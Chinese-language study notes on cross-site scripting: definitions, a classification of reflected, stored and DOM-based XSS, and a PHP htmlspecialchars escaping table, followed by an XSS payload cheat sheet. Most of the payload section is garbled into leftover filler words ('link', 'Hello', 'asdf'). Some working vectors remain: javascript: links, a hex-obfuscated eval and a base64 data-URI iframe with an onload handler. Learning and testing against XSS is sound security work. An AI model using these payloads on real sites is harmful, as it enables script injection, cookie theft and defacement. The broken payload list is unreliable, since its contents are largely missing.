xss漏洞学习笔记

xss实质是指html和javascript代码的注入

XSS被恶意使用的三种方法:

1.窃取Cookie值
2.通过JavaScript攻击
3.篡改网页

xss的分类:
按形式分:反射型XSS 存储型XSS
按介质分:JSXSS FlashXSS
按接口分:DOM base XSS , 非DOM XSS
注:因此没有反射型XSS、存储型XSS、DOM XSS这种分类,因为分类依据都不同…

1.反射型:(不持久型xss)
与服务器交互,但是交互的数据一般不会被存放在数据库中,一次性,所见即所得,一般出现在查询类页面上等。

2. 存储型:(持久型xss)
交互的数据会被存放在数据库中,永久性存储,一般出现在留言板,注册等页面。

3.DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的漏洞,大部分属于反射型,少部分属于存储型。

xss可能存在的漏洞:
有用户输入输出的地方,用户交互等一些地方,都可能存在xss漏洞。

PHP转义函数:

htmlspecialchars($String, $quote_style, $charset)

$string :转换对象字符串

$quote_style:转换方法。

转换前 转换后 ENT_NOQUOTES ENT_COMPAT ENT_QUOTES
< &lt; 支持 支持 支持

      &gt;	支持 	                     支持         	       支持

& &amp; 支持 支持 支持
“ &quot; 不支持 支持 支持
’ &#39; 不支持 不支持 支持
一般使用最后一种即可:ENT_QUOTES

$charset:字符编码。如UTF-8、GBK。

payload:<!–
#第一类:Javascript URL
link
link
link
Hello
Hello
link
<a href=javascript:alert("RSnake says,'XSS'")>link
link
link
Hello
link
Hello
link
link
link
link
Hello
link
link
1
link
link
<a href=javascript:eval(“\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29”)>2
<a href=javascript:eval(“alert('xss')”)>link
link
link
link
test
1
<iframe/src=”data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==”>

#第二类:CSS import

#第三类:Inline style

  • XSS
    //ie6

    #第四类:JavaScript 事件

    al test link link link test
    123456




    123456











    123456
    123456
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf
    asdf